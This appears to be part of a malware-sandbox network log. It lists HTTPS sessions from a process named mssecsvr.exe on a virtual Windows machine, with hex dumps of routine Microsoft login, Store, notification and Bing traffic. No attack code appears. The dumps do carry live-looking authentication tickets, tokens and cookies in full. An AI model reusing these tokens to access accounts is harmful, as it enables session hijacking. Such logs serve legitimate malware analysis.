2022-07-20 17:07:18 UTC	263	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	296	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 9cb80f7b-9d50-422f-a8a5-4c349396aaac PPServer: PPV: 30 H: BL02EPF0000683C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:17 GMT Connection: close Content-Length: 11069
2022-07-20 17:07:18 UTC	296	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	50185	40.126.32.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	268	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:07:18 UTC	268	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:07:18 UTC	307	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:06:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 55784f84-f701-481c-b133-c5453e1cbb24 PPServer: PPV: 30 H: BL02PF1F80A7B19 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:07:18 GMT Connection: close Content-Length: 11093
2022-07-20 17:07:18 UTC	308	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	50191	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:18 UTC	330	OUT	GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:18 UTC	330	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 13220 Content-Type: image/png Last-Modified: Fri, 03 Jun 2022 23:39:52 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUI3MEJEODU" MS-CV: 5ChDa+Bo80itmz7R.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:18 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:18 UTC	331	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 Data Ascii: PNGIHDR,,y}utEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	50213	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:19 UTC	343	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 64 34 65 38 65 36 37 63 63 36 66 39 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 43d4e8e67cc6f9c0
2022-07-20 17:07:19 UTC	344	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:19 UTC	344	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 64 34 65 38 65 36 37 63 63 36 66 39 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 43d4e8e67cc6f9c0<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:19 UTC	345	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 64 34 65 38 65 36 37 63 63 36 66 39 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 43d4e8e67cc6f9c0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:07:19 UTC	345	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:19 UTC	345	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 6e 55 4e 64 4f 50 71 30 6b 65 45 4b 63 59 4a 51 65 73 50 4c 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XnUNdOPq0keEKcYJQesPLg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	50215	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:19 UTC	345	OUT	GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:19 UTC	345	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 38027 Content-Type: image/png Last-Modified: Thu, 23 Jun 2022 15:40:59 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzUzODRFMTk" MS-CV: WiSzVqIwBkypSNwe.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:19 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:19 UTC	346	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 22 cf 49 44 41 54 78 9c ed dd 0b 94 65 55 79 27 f0 6f ef 73 ee ab aa ba 5e 5d ad a2 49 07 46 62 0c 36 08 02 ca 24 92 80 36 98 80 24 32 21 3e 22 10 15 75 81 e3 8c 9a f8 c0 47 c0 26 8c 31 3a 4e 20 ae b8 92 e0 8b 41 5d ea b0 d2 2b 06 70 40 88 13 34 c9 42 5e 36 20 0f 1d 17 da 04 18 e9 aa ee aa ba ef 7b cf d9 7b f6 f3 dc 73 bb 1b 11 53 d5 a7 f7 e9 ff af 2d aa ea d6 a3 cf 2d bb fe eb db df f9 ce 3e 31 01 00 04 22 2e fa 00 00 00 7e 56 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 20 18 08 2c 00 08 06 02 0b 00 82 81 c0 02 80 60 20 b0 00 Data Ascii: PNGIHDR,,y}upHYs"IDATxeUy'os^]IFb6$6$2!>"uG&1:N A]+p@4B^6 {{sS-->1".~V,` ,` ,`
2022-07-20 17:07:19 UTC	361	IN	Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T
2022-07-20 17:07:19 UTC	370	IN	Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+o<%9aquA p`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	50218	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:19 UTC	383	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd8yknU0Ka11yykr1%2Bc7MvV8vVkUT31Mb7YrpuFD%2B/6raQk%2Bg7XYvOVtCAtPOCPZliRecxu%2BveDYFsEMu7rloOMvdZnm1/678eADCu7pmtd%2B%2BLKStln8tohAGRr4PKhmsSfL8cIyDDpw7ue/LnTuMM43agwNcIDRoNG0pmc64K5DR0FEMHIsDmgX2jdk58rSlcq4hvrKUVMxtKAv67rmTJwSlSueouj3T/BH9eOWnNw1UgOKyH6JHtkPoF3MFcVvhcSe%2BokEzKUwl/n71eKODCkrWY3wvUkbeCFh/ziUENAQRORNw94SGWopXPhHYNzvHQBoH9%2BSk6v7hBxtffLHs4MDZgAACBxuWcuc9ZMiqAExecSOx9bZVeASVbBIYus0KRGfKVZqS7jKvQd2BHNAvFW1ahKNWDWoVTv7LyqQz2z8SYm9uuWLGLVkmyz99AbCaLwVrtTXbJvKhfD8w7ghru92hfYkokR7WQTPUWBH5m6Butg2bQfBM3IeWKMqaVZoPzZkeJmnXCRj/l4BF9dNolr8dNfaa9OB09cbgyp2ogBHdbjMxj84JBcv8P0p6y5%2B3BJM63qqXl%2B44iqq8JPVs6/WU1/%2B88cbU5OXE%2BBSD9tT/zFXdQHgrisl12pkGoqDuIyyZTHY0y9Ah3%2BrtpKsJPTnxo4NBhW3zlYpLKjPb4hLEqdN%2Bxi4qAYsam3WDXydh5Zi59lK7W3lRPnBCdgP1tHaGxVnsiKqO5nYmpARujFtFTTTBHhcErYf2Orc%2BRBVvwdz29Q/bwDU4z1IRGpsipe/Jo/MV5D84eK3ufhmm41OZJw9CvirUsCsPIOgdYOQzADvR4xOUpmuHny0T0sQ3Ty3kLgtBPoan7lctH3NGlV/HjDtSls4jCBjyVoSgWCKUeb0g9j9K8UE3oPVCKV7lSASYO1HwYXi1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658369182 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: AEE386E4D95049979E3D507F3459ED09 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 17:07:19 UTC	391	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 17:07:19 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 17:07:19 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=24F428720311668D16B23995020F67C4&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=82482352FCFB45CDB18D1C4FA173B9B4&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 17:07:19 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=24F428720311668D16B23995020F67C4; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 20-Jul-2022 17:12:19 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 245441A79C2240A5810DAC1811B00E02 Ref B: VIEEDGE1320 Ref C: 2022-07-20T17:07:19Z Date: Wed, 20 Jul 2022 17:07:19 GMT Connection: close
2022-07-20 17:07:19 UTC	393	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	50217	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
